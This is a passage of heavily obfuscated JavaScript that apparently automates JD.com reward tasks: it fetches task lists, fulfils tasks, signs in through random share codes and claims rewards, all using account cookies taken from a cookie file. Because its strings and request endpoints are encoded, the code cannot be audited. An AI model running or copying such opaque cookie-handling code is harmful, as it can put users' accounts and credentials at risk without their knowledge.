_0x566e2f[_0xb3c9('35e','7hNk')](_0x1d2ecf,_0x75196d);}};try{if(_0x218fc0){console[_0xb3c9('157','A&sp')](''+JSON[_0xb3c9('35f','W%VK')](_0x218fc0));console[_0xb3c9('9a','sgNu')]($[_0xb3c9('360','KqoH')]+_0xb3c9('361','UWcU'));}else{if(_0x566e2f[_0xb3c9('362','12Q8')](_0x566e2f[_0xb3c9('363','O^Ux')],_0x566e2f[_0xb3c9('364','x1NV')])){console[_0xb3c9('4e','Hi&L')](_0xb3c9('365','FlxD'));}else{if(_0x566e2f[_0xb3c9('366','8^$1')](safeGet,_0x2fb480)){if(_0x566e2f[_0xb3c9('367',']q[h')](_0x566e2f[_0xb3c9('368','D[D@')],_0x566e2f[_0xb3c9('369','Tq0]')])){console[_0xb3c9('327','lVDY')](_0xb3c9('36a','*IUv')+_0x2fb480[_0xb3c9('c1','#5oK')]);}else{_0x2fb480=JSON[_0xb3c9('155','kKc[')](_0x2fb480);console[_0xb3c9('f5','KqoH')](_0x2fb480[_0xb3c9('36b','bu#e')]);if(_0x566e2f[_0xb3c9('36c','A)dp')](_0x2fb480[_0xb3c9('36d','wR@t')],0xc8)){await $[_0xb3c9('36e','ST6I')](0x3e8);await _0x566e2f[_0xb3c9('36f','FlxD')](getTaskList,_0x7c00bc);}}}}}}catch(_0x3ae58f){if(_0x566e2f[_0xb3c9('370','msFj')](_0x566e2f[_0xb3c9('371','A&sp')],_0x566e2f[_0xb3c9('372','Tq0]')])){$[_0xb3c9('373','vGPn')](_0x3ae58f,_0x2b6733);}else{if(_0x31f5c5[_0xb3c9('374','px$D')](safeGet,_0x2fb480)){_0x2fb480=JSON[_0xb3c9('375','j]ox')](_0x2fb480);if(_0x31f5c5[_0xb3c9('376','12Q8')](_0x2fb480[_0xb3c9('377','56Y[')],0xc8)){$['db']+=_0x2fb480[_0xb3c9('1cf','sgNu')][_0xb3c9('378','Tq0]')];console[_0xb3c9('157','A&sp')](_0xb3c9('379','eg1*')+_0x2fb480[_0xb3c9('37a','oJ7R')][_0xb3c9('2b2','sgNu')]+_0xb3c9('37b','eAka'));}else{console[_0xb3c9('9a','sgNu')](_0xb3c9('37c','SI8%')+_0x2fb480[_0xb3c9('37d','*IUv')]);}}}}finally{_0x566e2f[_0xb3c9('37e','px$D')](_0x2ef033,_0x2fb480);}});}else{Object[_0xb3c9('37f','8Yzp')](jdCookieNode)[_0xb3c9('380',']q[h')](_0xefa85b=>{cookiesArr[_0xb3c9('381','IV4a')](jdCookieNode[_0xefa85b]);});if(process[_0xb3c9('382','KqoH')][_0xb3c9('383','xgMb')]&&_0x566e2f[_0xb3c9('384','eg1*')](process[_0xb3c9('385','px$D')][_0xb3c9('386','msFj')],_0x566e2f[_0xb3c9('387','KqoH')]))console[_0xb3c9('c5','O^Ux')]=()=>{};}});}function getTaskList(_0x453ab8){var _0x38ec9b={'hUKBh':function(_0x3f5212){return _0x3f5212();},'zulEa':function(_0x200f52,_0x48bcc9){return _0x200f52!==_0x48bcc9;},'uNUZT':_0xb3c9('388','*IUv'),'CRVNe':function(_0x6a25a6,_0x415735){return _0x6a25a6(_0x415735);},'wTfAC':_0xb3c9('389','8Yzp'),'MfoBG':function(_0x506214,_0x2c4163){return _0x506214===_0x2c4163;},'ybvAl':_0xb3c9('38a','UWcU'),'dAbBv':_0xb3c9('38b','wR@t'),'xnoWA':function(_0x15ae60,_0x110637,_0x369602){return _0x15ae60(_0x110637,_0x369602);},'WnOXC':_0xb3c9('38c','FlxD'),'xDVQG':_0xb3c9('38d','wR@t'),'VMqcP':function(_0xb88673,_0x3aaab1,_0x19ac8d){return _0xb88673(_0x3aaab1,_0x19ac8d);},'ThQWE':_0xb3c9('38e','FlxD')};return new Promise(_0x5afef5=>{$[_0xb3c9('38f','ST6I')](_0x38ec9b[_0xb3c9('390','Xorc')](taskPostUrl,_0x38ec9b[_0xb3c9('391','UFS%')],_0xb3c9('392','*IUv')+_0x453ab8),async(_0x5d66ef,_0x2003a7,_0x40e532)=>{var _0x5555d8={'NBAAd':function(_0x170eac){return _0x38ec9b[_0xb3c9('393','bu#e')](_0x170eac);}};try{if(_0x5d66ef){console[_0xb3c9('fa','0XYQ')](''+JSON[_0xb3c9('1c5','8Yzp')](_0x5d66ef));console[_0xb3c9('335','%YG$')]($[_0xb3c9('394','IV4a')]+_0xb3c9('395','D[D@'));}else{if(_0x38ec9b[_0xb3c9('396','12Q8')](_0x38ec9b[_0xb3c9('397','A)dp')],_0x38ec9b[_0xb3c9('398','Hi&L')])){_0x5555d8[_0xb3c9('399','O^Ux')](_0x5afef5);}else{if(_0x38ec9b[_0xb3c9('39a','pLk9')](safeGet,_0x40e532)){if(_0x38ec9b[_0xb3c9('39b','IV4a')](_0x38ec9b[_0xb3c9('39c','p8(G')],_0x38ec9b[_0xb3c9('39d','8^$1')])){if($[_0xb3c9('39e','eg1*')]()&&process[_0xb3c9('39f','vGPn')][_0xb3c9('3a0','Xorc')]){exchangeFlag=process[_0xb3c9('382','KqoH')][_0xb3c9('3a1','ST6I')]||exchangeFlag;}_0x5555d8[_0xb3c9('3a2',']q[h')](_0x5afef5);}else{_0x40e532=JSON[_0xb3c9('3a3','ST6I')](_0x40e532);if(_0x38ec9b[_0xb3c9('3a4','BA!&')](_0x40e532[_0xb3c9('3a5','eg1*')],0xc8)){if(_0x38ec9b[_0xb3c9('3a6','Xorc')](_0x38ec9b[_0xb3c9('3a7','KqoH')],_0x38ec9b[_0xb3c9('3a8','7hNk')])){for(let _0x17620 of _0x40e532[_0xb3c9('3a9','x1NV')]){if(_0x38ec9b[_0xb3c9('3aa','msFj')](_0x17620[_0xb3c9('3ab','px$D')],0x5)&&!_0x17620[_0xb3c9('3ac','SI8%')]){console[_0xb3c9('84','x1NV')](_0xb3c9('3ad','eAka'));await $[_0xb3c9('b1','bu#e')](0x3e8);await _0x38ec9b[_0xb3c9('3ae','54E@')](fulfilTask,_0x453ab8,_0x17620[_0xb3c9('3af','RRYS')]);}}}else{$[_0xb3c9('1a2','msFj')](e,_0x2003a7);}}}}}}}catch(_0x37c3e3){$[_0xb3c9('2d8','pLk9')](_0x37c3e3,_0x2003a7);}finally{if(_0x38ec9b[_0xb3c9('3b0','*IUv')](_0x38ec9b[_0xb3c9('3b1','A)dp')],_0x38ec9b[_0xb3c9('3b2','A)dp')])){$[_0xb3c9('3b3','56Y[')](e,_0x2003a7);}else{_0x38ec9b[_0xb3c9('3b4','7hNk')](_0x5afef5,_0x40e532);}}});});}function fulfilTask(_0x82bcf,_0x3257c0){var _0x4c7119={'KGWJJ':_0xb3c9('28e','KqoH'),'lares':function(_0x4d7f3a,_0x277361){return _0x4d7f3a(_0x277361);},'ZFist':function(_0x3cabcc,_0x5cf325){return _0x3cabcc!==_0x5cf325;},'SVQgx':_0xb3c9('3b5','p8(G'),'lBVXT':_0xb3c9('3b6','UFS%'),'Iysut':_0xb3c9('3b7','*IUv'),'XLEOG':function(_0x278cb9,_0x3486d5){return _0x278cb9!==_0x3486d5;},'cVHzd':_0xb3c9('3b8','USUq'),'EBFNP':function(_0x5356db,_0x2fd54d){return _0x5356db(_0x2fd54d);},'hhdXN':_0xb3c9('3b9','%YG$'),'aHnCg':_0xb3c9('3ba','QPLX'),'LITSR':function(_0x574a0e,_0x2a4bd1){return _0x574a0e===_0x2a4bd1;},'wLuLL':_0xb3c9('3bb','FlxD'),'rOXKu':_0xb3c9('3bc','7hNk'),'QacVb':_0xb3c9('3bd','0XYQ'),'JLDiR':function(_0x38d928,_0x70d6f6){return _0x38d928!==_0x70d6f6;},'LCIPl':_0xb3c9('3be','oJ7R'),'CygWA':_0xb3c9('3bf','px$D'),'lkFxt':function(_0x3ab0f2,_0x3b6eec,_0xd76c73){return _0x3ab0f2(_0x3b6eec,_0xd76c73);},'xuxsP':_0xb3c9('3c0','lVDY')};return new Promise(_0x5d314f=>{var _0x19b7d1={'ehpKM':_0x4c7119[_0xb3c9('3c1','ST6I')],'kQoQb':function(_0x49085e,_0x4b7de1){return _0x4c7119[_0xb3c9('3c2','8Yzp')](_0x49085e,_0x4b7de1);},'umqjo':function(_0x328cc5,_0x108330){return _0x4c7119[_0xb3c9('3c3','SI8%')](_0x328cc5,_0x108330);},'oucQk':_0x4c7119[_0xb3c9('3c4','O^Ux')],'fBIkB':function(_0x412b11,_0x4d6379){return _0x4c7119[_0xb3c9('3c5','kKc[')](_0x412b11,_0x4d6379);},'UaKSN':_0x4c7119[_0xb3c9('3c6','%YG$')],'SDzno':_0x4c7119[_0xb3c9('3c7','msFj')],'ewFLp':function(_0x55fa86,_0x362f10){return _0x4c7119[_0xb3c9('3c8','FlxD')](_0x55fa86,_0x362f10);},'AjJbZ':_0x4c7119[_0xb3c9('3c9','msFj')],'rMaVd':function(_0x1f0abe,_0x5ca775){return _0x4c7119[_0xb3c9('3ca','8Yzp')](_0x1f0abe,_0x5ca775);},'LAVkb':_0x4c7119[_0xb3c9('3cb','A)dp')],'IkfkU':_0x4c7119[_0xb3c9('3cc','*IUv')],'MovrE':function(_0x15c000,_0x56aa35){return _0x4c7119[_0xb3c9('3cd','RRYS')](_0x15c000,_0x56aa35);},'ttzBP':_0x4c7119[_0xb3c9('3ce','8^$1')],'KrgDz':_0x4c7119[_0xb3c9('3cf','Tq0]')],'yKRVo':_0x4c7119[_0xb3c9('3d0','UWcU')],'sYySG':function(_0x4f60ce,_0x8b9397){return _0x4c7119[_0xb3c9('3d1','vGPn')](_0x4f60ce,_0x8b9397);}};if(_0x4c7119[_0xb3c9('3d2','8Yzp')](_0x4c7119[_0xb3c9('3d3','54E@')],_0x4c7119[_0xb3c9('3d4','eAka')])){$[_0xb3c9('3d5',']q[h')](_0x4c7119[_0xb3c9('3d6','QPLX')](taskPostUrl,_0x4c7119[_0xb3c9('3d7','UWcU')],_0xb3c9('3d8','A)dp')+_0x82bcf+_0xb3c9('3d9','8Yzp')+_0x3257c0),async(_0x22203c,_0x1adda6,_0x4e9468)=>{if(_0x19b7d1[_0xb3c9('3da','msFj')](_0x19b7d1[_0xb3c9('3db','8^$1')],_0x19b7d1[_0xb3c9('3dc','pLk9')])){$[_0xb3c9('3dd','px$D')](e,_0x1adda6);}else{try{if(_0x19b7d1[_0xb3c9('3de','#5oK')](_0x19b7d1[_0xb3c9('3df','SI8%')],_0x19b7d1[_0xb3c9('3e0','Us6T')])){if(_0x22203c){if(_0x19b7d1[_0xb3c9('3e1','kKc[')](_0x19b7d1[_0xb3c9('3e2','Us6T')],_0x19b7d1[_0xb3c9('3e3','kKc[')])){$['db']+=_0x4e9468[_0xb3c9('3e4','xgMb')][_0xb3c9('3e5','D[D@')];console[_0xb3c9('3e6','D[D@')](_0xb3c9('3e7','8Yzp')+_0x4e9468[_0xb3c9('225','j]ox')][_0xb3c9('3e8','BA!&')]+_0xb3c9('37b','eAka'));}else{console[_0xb3c9('77','8^$1')](''+JSON[_0xb3c9('3e9','SI8%')](_0x22203c));console[_0xb3c9('26a',']q[h')]($[_0xb3c9('3ea','54E@')]+_0xb3c9('3eb','UFS%'));}}else{if(_0x19b7d1[_0xb3c9('3ec','pLk9')](safeGet,_0x4e9468)){if(_0x19b7d1[_0xb3c9('3ed','56Y[')](_0x19b7d1[_0xb3c9('3ee','p8(G')],_0x19b7d1[_0xb3c9('3ef','Xorc')])){_0x4e9468=JSON[_0xb3c9('3f0','4&jl')](_0x4e9468);console[_0xb3c9('13','7hNk')](_0x4e9468[_0xb3c9('3f1','p8(G')]);}else{date=new Date(time);}}}}else{cookiesArr[_0xb3c9('3f2','UFS%')](jdCookieNode[item]);}}catch(_0x32c6cf){if(_0x19b7d1[_0xb3c9('3f3',']q[h')](_0x19b7d1[_0xb3c9('3f4','msFj')],_0x19b7d1[_0xb3c9('3f5','eg1*')])){$[_0xb3c9('3f6','sgNu')](_0x32c6cf,_0x1adda6);}else{try{return JSON[_0xb3c9('3f7','IV4a')](str);}catch(_0x419abe){console[_0xb3c9('246','USUq')](_0x419abe);$[_0xb3c9('3f8','KqoH')]($[_0xb3c9('f8','eg1*')],'',_0x19b7d1[_0xb3c9('3f9','kKc[')]);return[];}}}finally{if(_0x19b7d1[_0xb3c9('3fa','4&jl')](_0x19b7d1[_0xb3c9('3fb','oJ7R')],_0x19b7d1[_0xb3c9('3fc','8Yzp')])){_0x19b7d1[_0xb3c9('3fd','QPLX')](_0x5d314f,_0x4e9468);}else{_0x19b7d1[_0xb3c9('3fe','FlxD')](_0x5d314f,_0x4e9468);}}}});}else{console[_0xb3c9('2af','[XP5')](''+JSON[_0xb3c9('2a7','O^Ux')](err));console[_0xb3c9('335','%YG$')]($[_0xb3c9('394','IV4a')]+_0xb3c9('3ff','IV4a'));}});}function getUserInfo(){var _0x5e9de1={'VDJbG':function(_0x3f19ae){return _0x3f19ae();},'SWNTC':function(_0x370091,_0xea727d){return _0x370091!==_0xea727d;},'YJWNk':_0xb3c9('400','O^Ux'),'RIHlj':_0xb3c9('401','8^$1'),'OSDep':function(_0x363d1f,_0x2fffea){return _0x363d1f===_0x2fffea;},'ytNBm':_0xb3c9('402','QPLX'),'FEAaQ':function(_0x1d7b9a,_0x4dfdda){return _0x1d7b9a(_0x4dfdda);},'yGkqO':_0xb3c9('403','0XYQ'),'hLxJC':_0xb3c9('404','px$D'),'bwVyX':function(_0x121f46,_0x24d9ce){return _0x121f46(_0x24d9ce);},'BEnyj':_0xb3c9('405','UFS%')};return new Promise(_0x4f2578=>{var _0x411dac={'ZWYxx':function(_0x171852){return _0x5e9de1[_0xb3c9('406','UWcU')](_0x171852);},'zXpgm':function(_0x398fee,_0x39af3f){return _0x5e9de1[_0xb3c9('407','O^Ux')](_0x398fee,_0x39af3f);},'MxErD':_0x5e9de1[_0xb3c9('408',']q[h')],'YWfwM':_0x5e9de1[_0xb3c9('409','XZos')],'bSHtX':function(_0x4e94d6,_0x2c3c09){return _0x5e9de1[_0xb3c9('40a','4&jl')](_0x4e94d6,_0x2c3c09);},'fPfDg':_0x5e9de1[_0xb3c9('40b','12Q8')],'mWUbN':function(_0x424488,_0xae7c0){return _0x5e9de1[_0xb3c9('40c','56Y[')](_0x424488,_0xae7c0);},'yvRxf':function(_0xab6509,_0xa64d75){return _0x5e9de1[_0xb3c9('40d','[XP5')](_0xab6509,_0xa64d75);},'CiUZN':function(_0x544d3e,_0x3f524e){return _0x5e9de1[_0xb3c9('40e','XZos')](_0x544d3e,_0x3f524e);},'zRjJM':_0x5e9de1[_0xb3c9('40f','lVDY')],'pbFlA':_0x5e9de1[_0xb3c9('410',']q[h')],'rgZZK':function(_0x51f4a6,_0x51df45){return _0x5e9de1[_0xb3c9('411','56Y[')](_0x51f4a6,_0x51df45);}};$[_0xb3c9('412','12Q8')](_0x5e9de1[_0xb3c9('413','UFS%')](taskUrl,_0x5e9de1[_0xb3c9('414','54E@')]),async(_0x1c884e,_0x1d487e,_0x452a96)=>{var _0xc13f5a={'nnCrB':function(_0x4cf488){return _0x411dac[_0xb3c9('415','wR@t')](_0x4cf488);}};if(_0x411dac[_0xb3c9('416',']q[h')](_0x411dac[_0xb3c9('417','KqoH')],_0x411dac[_0xb3c9('418','RRYS')])){try{if(_0x1c884e){console[_0xb3c9('a1','Us6T')](''+JSON[_0xb3c9('419','Xorc')](_0x1c884e));console[_0xb3c9('28d','xgMb')]($[_0xb3c9('16c','vGPn')]+_0xb3c9('41a','54E@'));}else{if(_0x411dac[_0xb3c9('41b','FlxD')](_0x411dac[_0xb3c9('41c','kKc[')],_0x411dac[_0xb3c9('41d','[XP5')])){if(_0x411dac[_0xb3c9('41e','FlxD')](safeGet,_0x452a96)){_0x452a96=JSON[_0xb3c9('41f','XZos')](_0x452a96);if(_0x411dac[_0xb3c9('420','pLk9')](_0x452a96[_0xb3c9('421','XZos')],0xc8)){if(_0x411dac[_0xb3c9('422','eAka')](_0x411dac[_0xb3c9('423','XZos')],_0x411dac[_0xb3c9('424','ST6I')])){$[_0xb3c9('425','UFS%')](e,_0x1d487e);}else{console[_0xb3c9('335','%YG$')](_0xb3c9('426',']q[h')+_0x452a96[_0xb3c9('427','SI8%')][_0xb3c9('428',']q[h')][_0xb3c9('429','%YG$')](/,/g,''));}}}}else{console[_0xb3c9('3e6','D[D@')](_0xb3c9('42a','O^Ux'));}}}catch(_0x427050){$[_0xb3c9('42b','IV4a')](_0x427050,_0x1d487e);}finally{_0x411dac[_0xb3c9('42c','lVDY')](_0x4f2578,_0x452a96);}}else{_0xc13f5a[_0xb3c9('42d','QPLX')](_0x4f2578);}});});}function sign(_0x184cd3=_0xb3c9('42e','Tq0]')){var _0x24769a={'VVovK':function(_0x18309e,_0x2fc292){return _0x18309e===_0x2fc292;},'fnIjS':function(_0x318ae5,_0x1f4990){return _0x318ae5(_0x1f4990);},'kpcQg':function(_0x226854,_0x1d4281){return _0x226854==_0x1d4281;},'OiKYP':_0xb3c9('42f','12Q8'),'CvsNt':_0xb3c9('430','8Yzp'),'YHkjI':_0xb3c9('431','wR@t'),'LXSCQ':_0xb3c9('432','px$D'),'nvnYq':function(_0xe29373,_0x990a83){return _0xe29373!==_0x990a83;},'XfKkU':function(_0x181016,_0x491422){return _0x181016===_0x491422;},'MXwcO':_0xb3c9('433','A&sp'),'dCLwW':function(_0x48be6f,_0x5be42b){return _0x48be6f!==_0x5be42b;},'VOgvg':_0xb3c9('434','UWcU'),'iyKOJ':function(_0x352285,_0x43776d){return _0x352285===_0x43776d;},'RPqbG':_0xb3c9('435','p8(G'),'fGJlG':_0xb3c9('436','kKc['),'oWJOr':_0xb3c9('437','kKc['),'gqwCd':_0xb3c9('438','12Q8'),'jJXOg':_0xb3c9('439','j]ox'),'WkJgC':function(_0x179452,_0x4bb07f,_0x32ee1d){return _0x179452(_0x4bb07f,_0x32ee1d);},'gNbGv':_0xb3c9('43a',']q[h'),'KtaDz':function(_0x318fec,_0x2953bf){return _0x318fec*_0x2953bf;}};_0x184cd3=shareCodes[Math[_0xb3c9('43b','bu#e')](_0x24769a[_0xb3c9('43c','FlxD')](Math[_0xb3c9('43d','%YG$')](),shareCodes[_0xb3c9('43e','vGPn')]))];return new Promise(_0x461531=>{var _0x50e7cc={'LWTEC':function(_0x15049f,_0xcef00d){return _0x24769a[_0xb3c9('43f','RRYS')](_0x15049f,_0xcef00d);},'ePirv':function(_0x196d0f,_0x1d4567){return _0x24769a[_0xb3c9('440','kKc[')](_0x196d0f,_0x1d4567);},'vYLtb':function(_0x119068,_0x5cdada){return _0x24769a[_0xb3c9('441','12Q8')](_0x119068,_0x5cdada);},'DkrTq':_0x24769a[_0xb3c9('442','Hi&L')],'JmJGT':_0x24769a[_0xb3c9('443','8Yzp')],'tQdyT':_0x24769a[_0xb3c9('444','UFS%')],'bMhiW':_0x24769a[_0xb3c9('445','Us6T')],'RzhNS':function(_0x2c2273,_0x17c6ce){return _0x24769a[_0xb3c9('446','8^$1')](_0x2c2273,_0x17c6ce);},'IFPwZ':function(_0x5c5c32,_0x28ac19){return _0x24769a[_0xb3c9('447','lVDY')](_0x5c5c32,_0x28ac19);},'pqYud':function(_0xa95315,_0x44ae7d){return _0x24769a[_0xb3c9('448','Hi&L')](_0xa95315,_0x44ae7d);},'JZSwL':_0x24769a[_0xb3c9('449','Us6T')],'MqThw':function(_0x1e6346,_0x1d084d){return _0x24769a[_0xb3c9('44a','W%VK')](_0x1e6346,_0x1d084d);},'SweiM':_0x24769a[_0xb3c9('44b','UWcU')],'svnby':function(_0x416591,_0x171764){return _0x24769a[_0xb3c9('44c','xgMb')](_0x416591,_0x171764);},'BmhTU':_0x24769a[_0xb3c9('44d','sgNu')],'wZNCy':function(_0x419bde,_0x4acdb0){return _0x24769a[_0xb3c9('44e','A)dp')](_0x419bde,_0x4acdb0);},'ekbAj':_0x24769a[_0xb3c9('44f','O^Ux')],'ineHg':function(_0x3919be,_0x235757){return _0x24769a[_0xb3c9('450','D[D@')](_0x3919be,_0x235757);},'CGyXN':function(_0x62b956,_0x21d759){return _0x24769a[_0xb3c9('451','56Y[')](_0x62b956,_0x21d759);},'bWBQP':_0x24769a[_0xb3c9('452','56Y[')],'Pjrpt':_0x24769a[_0xb3c9('453','A&sp')],'AtNvH':function(_0x2ada76,_0x5246ba){return _0x24769a[_0xb3c9('454','XZos')](_0x2ada76,_0x5246ba);}};if(_0x24769a[_0xb3c9('455','UWcU')](_0x24769a[_0xb3c9('456','xgMb')],_0x24769a[_0xb3c9('457','56Y[')])){data=JSON[_0xb3c9('100','Us6T')](data);if(_0x50e7cc[_0xb3c9('458','4&jl')](data[_0xb3c9('459','lVDY')],0xc8)){$['db']+=data[_0xb3c9('45a','Us6T')][_0xb3c9('45b','12Q8')];console[_0xb3c9('2af','[XP5')](_0xb3c9('45c','[XP5')+data[_0xb3c9('226','ST6I')][_0xb3c9('45d','wR@t')]+_0xb3c9('45e','SI8%'));}else{console[_0xb3c9('139','8Yzp')](_0xb3c9('45f','pLk9')+data[_0xb3c9('460','12Q8')]);}}else{$[_0xb3c9('461','eg1*')](_0x24769a[_0xb3c9('462','j]ox')](taskPostUrl,_0x24769a[_0xb3c9('463','KqoH')],_0xb3c9('464','56Y[')+_0x184cd3),async(_0x398ced,_0x30ef48,_0x32f4be)=>{if(_0x50e7cc[_0xb3c9('465','QPLX')](_0x50e7cc[_0xb3c9('466','*IUv')],_0x50e7cc[_0xb3c9('467','eAka')])){console[_0xb3c9('13','7hNk')](''+JSON[_0xb3c9('f6','lVDY')](_0x398ced));console[_0xb3c9('93','54E@')]($[_0xb3c9('468','bu#e')]+_0xb3c9('301','A&sp'));}else{try{if(_0x50e7cc[_0xb3c9('469','UWcU')](_0x50e7cc[_0xb3c9('46a','Xorc')],_0x50e7cc[_0xb3c9('46b','IV4a')])){_0x50e7cc[_0xb3c9('46c','A)dp')](_0x461531,_0x32f4be);}else{if(_0x398ced){if(_0x50e7cc[_0xb3c9('46d','RRYS')](_0x50e7cc[_0xb3c9('46e','%YG$')],_0x50e7cc[_0xb3c9('46f','12Q8')])){console[_0xb3c9('84','x1NV')](''+JSON[_0xb3c9('470','sgNu')](_0x398ced));console[_0xb3c9('77','8^$1')]($[_0xb3c9('471','Us6T')]+_0xb3c9('472','pLk9'));}else{if(_0x50e7cc[_0xb3c9('473','A&sp')](typeof str,_0x50e7cc[_0xb3c9('474','x1NV')])){try{return JSON[_0xb3c9('41f','XZos')](str);}catch(_0x1b6c79){console[_0xb3c9('15a','j]ox')](_0x1b6c79);$[_0xb3c9('128','O^Ux')]($[_0xb3c9('475','ST6I')],'',_0x50e7cc[_0xb3c9('476','8Yzp')]);return[];}}}}else{if(_0x50e7cc[_0xb3c9('477','bu#e')](safeGet,_0x32f4be)){if(_0x50e7cc[_0xb3c9('478','eg1*')](_0x50e7cc[_0xb3c9('479','56Y[')],_0x50e7cc[_0xb3c9('47a','Hi&L')])){for(let _0x16ab05 of $[_0xb3c9('47b','USUq')]){message+=_0x16ab05[_0x50e7cc[_0xb3c9('47c','RRYS')]]+_0xb3c9('47d','kKc[')+_0x16ab05[_0x50e7cc[_0xb3c9('47e','UWcU')]]+'】\x0a';}allMessage+=_0xb3c9('47f','USUq')+$[_0xb3c9('480','56Y[')]+$[_0xb3c9('481','0XYQ')]+'\x0a'+message+(_0x50e7cc[_0xb3c9('482','xgMb')]($[_0xb3c9('483','XZos')],cookiesArr[_0xb3c9('43e','vGPn')])?'\x0a\x0a':'');}else{_0x32f4be=JSON[_0xb3c9('484','pLk9')](_0x32f4be);if(_0x50e7cc[_0xb3c9('485','12Q8')](_0x32f4be[_0xb3c9('486','x1NV')],0xc8)){if(_0x50e7cc[_0xb3c9('487','wR@t')](_0x50e7cc[_0xb3c9('488','KqoH')],_0x50e7cc[_0xb3c9('489','IV4a')])){$['db']+=_0x32f4be[_0xb3c9('48a','XZos')][_0xb3c9('48b','*IUv')];console[_0xb3c9('77','8^$1')](_0xb3c9('48c','msFj')+_0x32f4be[_0xb3c9('309','KqoH')][_0xb3c9('48d','lVDY')]+_0xb3c9('48e','56Y['));}else{if(_0x50e7cc[_0xb3c9('48f','8^$1')](safeGet,_0x32f4be)){_0x32f4be=JSON[_0xb3c9('bf','msFj')](_0x32f4be);if(_0x50e7cc[_0xb3c9('490','KqoH')](_0x32f4be[_0xb3c9('491','kKc[')],0xc8)){$['db']+=_0x32f4be[_0xb3c9('492','px$D')][_0xb3c9('3e8','BA!&')];console[_0xb3c9('26a',']q[h')](_0xb3c9('493','0XYQ')+_0x32f4be[_0xb3c9('1cf','sgNu')][_0xb3c9('45d','wR@t')]+_0xb3c9('494','kKc['));}else{console[_0xb3c9('158','RRYS')](_0xb3c9('495','kKc[')+_0x32f4be[_0xb3c9('496','Tq0]')]);}}}}else{console[_0xb3c9('37','eg1*')](_0xb3c9('497','lVDY')+_0x32f4be[_0xb3c9('498','px$D')]);}}}}}}catch(_0x4aa0bc){$[_0xb3c9('499','54E@')](_0x4aa0bc,_0x30ef48);}finally{_0x50e7cc[_0xb3c9('49a','0XYQ')](_0x461531,_0x32f4be);}}});}});}function awardRun(){var _0xf1888={'TQEcv':function(_0x36c1b8,_0x2ec2eb){return _0x36c1b8==_0x2ec2eb;},'qYvIU':_0xb3c9('49b','D[D@'),'OTcev':function(_0x2d0b2c,_0x4cbbb4){return _0x2d0b2c===_0x4cbbb4;},'YXvFI':_0xb3c9('49c','%YG$'),'RxnPO':_0xb3c9('49d','4&jl'),'JZTXi':function(_0x4fc729,_0x2c44e4){return _0x4fc729===_0x2c44e4;},'VTjym':_0xb3c9('49e','54E@'),'gNgHy':function(_0x1b8bef,_0x291073){return _0x1b8bef!==_0x291073;},'ourBh':_0xb3c9('49f','%YG$'),'hLLDZ':_0xb3c9('4a0','x1NV'),'nQGzb':function(_0x2af415,_0x458334){return _0x2af415(_0x458334);},'jOvOq':function(_0x114f44,_0x297ef7){return _0x114f44===_0x297ef7;},'wwkwE':_0xb3c9('4a1','Tq0]'),'xwYbN':function(_0x1a8cb4,_0x263b9){return _0x1a8cb4===_0x263b9;},'HYhLs':_0xb3c9('4a2','*IUv'),'IpraU':_0xb3c9('4a3','msFj'),'hSitc':_0xb3c9('4a4','BA!&'),'usvGZ':_0xb3c9('4a5','A&sp'),'yClaD':function(_0x490c66,_0x1b092b,_0x515de8){return _0x490c66(_0x1b092b,_0x515de8);},'tHqDY':_0xb3c9('4a6','W%VK'),'suPHu':function(_0x59bcb6,_0x3b7f59){return _0x59bcb6+_0x3b7f59;},'DVPEF':function(_0x15cb9b,_0x44de7e){return _0x15cb9b*_0x44de7e;}};return new Promise(_0x4d6499=>{var _0x356b92={'thoah':_0xf1888[_0xb3c9('4a7','p8(G')],'MsFoD':_0xf1888[_0xb3c9('4a8','UWcU')]};$[_0xb3c9('4a9','XZos')](_0xf1888[_0xb3c9('4aa','pLk9')](taskPostUrl,_0xf1888[_0xb3c9('4ab','D[D@')],_0xb3c9('4ac','XZos')+_0xf1888[_0xb3c9('4ad','7hNk')](Math[_0xb3c9('4ae','D[D@')](_0xf1888[_0xb3c9('4af','W%VK')](Math[_0xb3c9('4b0','UFS%')](),0x1388)),0x4a38)),async(_0x56e69a,_0x5b5ded,_0x274382)=>{var _0x302778={'PWYgZ':function(_0x2427d5,_0x10520c){return _0xf1888[_0xb3c9('4b1','UFS%')](_0x2427d5,_0x10520c);},'OJtQI':_0xf1888[_0xb3c9('4b2','oJ7R')]};try{if(_0xf1888[_0xb3c9('4b3','Us6T')](_0xf1888[_0xb3c9('4b4','lVDY')],_0xf1888[_0xb3c9('4b5','ST6I')])){$[_0xb3c9('4b6','Hi&L')](e,_0x5b5ded);}else{if(_0x56e69a){if(_0xf1888[_0xb3c9('4b7','#5oK')](_0xf1888[_0xb3c9('4b8','7hNk')],_0xf1888[_0xb3c9('4b9','Xorc')])){console[_0xb3c9('16d','msFj')](''+JSON[_0xb3c9('4ba','Us6T')](_0x56e69a));console[_0xb3c9('11e','p8(G')]($[_0xb3c9('4bb','8Yzp')]+_0xb3c9('bd','%YG$'));}else{return!![];}}else{if(_0xf1888[_0xb3c9('4bc','Us6T')](_0xf1888[_0xb3c9('4bd','8Yzp')],_0xf1888[_0xb3c9('4be','[XP5')])){if(_0xf1888[_0xb3c9('4bf','Us6T')](safeGet,_0x274382)){if(_0xf1888[_0xb3c9('4c0','7hNk')](_0xf1888[_0xb3c9('4c1','D[D@')],_0xf1888[_0xb3c9('4c2','eg1*')])){_0x274382=JSON[_0xb3c9('74','54E@')](_0x274382);if(_0xf1888[_0xb3c9('4c3','W%VK')](_0x274382[_0xb3c9('4c4','j]ox')],0xc8)){if(_0xf1888[_0xb3c9('4c5','vGPn')](_0xf1888[_0xb3c9('4c6','8Yzp')],_0xf1888[_0xb3c9('4c7','4&jl')])){if(_0x302778[_0xb3c9('4c8','sgNu')](typeof 